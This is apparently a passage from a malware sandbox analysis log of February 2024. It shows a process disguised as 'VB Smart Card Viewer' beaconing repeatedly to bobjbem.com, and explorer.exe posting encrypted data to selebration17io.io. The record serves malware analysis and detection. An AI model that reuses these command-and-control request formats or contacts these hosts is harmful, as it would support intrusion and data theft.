94	192.168.2.4	49874	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:18.897874117 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:19.142908096 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	49875	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:19.523927927 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:19.762002945 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.4	49877	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:20.121885061 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:20.365391016 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49878	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:20.756011963 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:20.994105101 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49879	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:21.368719101 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:21.615294933 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	49880	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:21.981142998 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:22.227013111 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49882	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:22.599518061 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:22.838114977 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49884	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:23.186131001 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:23.431797028 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49885	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:23.788640022 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:24.026845932 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49886	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:24.382195950 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:24.625391960 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49887	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:24.996752977 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:25.239983082 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49888	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:25.268523932 CET	287	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tlvmatooflcilts.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 168 Host: selebration17io.io
Feb 5, 2024 10:59:25.268523932 CET	168	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 f2 be 3d f8 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO=#>j1'vBO=3K-;7/l1CN+L
Feb 5, 2024 10:59:25.518846035 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:25 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49889	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:25.599754095 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:25.838038921 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	49890	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:26.188467979 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:26.432039022 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	49893	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:26.792597055 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:27.031337976 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	49894	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:27.385102987 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:27.628285885 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	49895	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:27.974225044 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:28.216921091 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20
Feb 5, 2024 10:59:28.342572927 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:28.580930948 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	49896	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:29.015579939 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:29.259566069 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	49897	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:29.606177092 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:29.844356060 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	49898	91.215.85.120	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:29.815196991 CET	288	OUT	POST /index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lhvtybmergrsrdey.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 303 Host: selebration17io.io
Feb 5, 2024 10:59:29.815256119 CET	303	OUT	Data Raw: 48 9d fb c4 3c 64 54 2e 2c 07 52 52 77 dd 54 bc 28 67 9b 1a ff 18 aa dd bc 6e a7 f2 02 83 a4 99 84 a0 8a bf 74 43 e4 ca a6 5f 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 ba 8a 14 62 cc d6 4f 96 aa e5 35 d6 Data Ascii: H<dT.,RRwT(gntC_j~_=;}f=B!bO54( Hw0vr==l/0JH)t+;4E7, I,(;2WFop[Q)$&v;H^_A]VG^k\>)alM%U-
Feb 5, 2024 10:59:30.068114042 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Mon, 05 Feb 2024 09:59:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	49899	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:30.217403889 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:30.462805986 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	49900	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:31.238837004 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:31.485249043 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	49901	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:31.882106066 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:32.128407001 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49902	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:32.473974943 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Feb 5, 2024 10:59:32.712201118 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Mon, 05 Feb 2024 09:59:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 36 37 62 36 38 30 38 31 33 30 30 38 63 32 0d 0a 30 0d 0a 0d 0a Data Ascii: e67b680813008c20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49904	185.196.8.22	80	6764	C:\Users\user\AppData\Local\VB Smart Card Viewer\vbsmartcardviewer.exe

Timestamp	Bytes transferred	Direction	Data
Feb 5, 2024 10:59:33.053982973 CET	326	OUT	GET /search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12eab517aa5c96bd86e8908e4d865a8bbc896c58e713bc90c91936b5281fc235a925ed3e51d6bd974a95129070b615e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ef929b39ca6e971e HTTP/1.1 Host: bobjbem.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
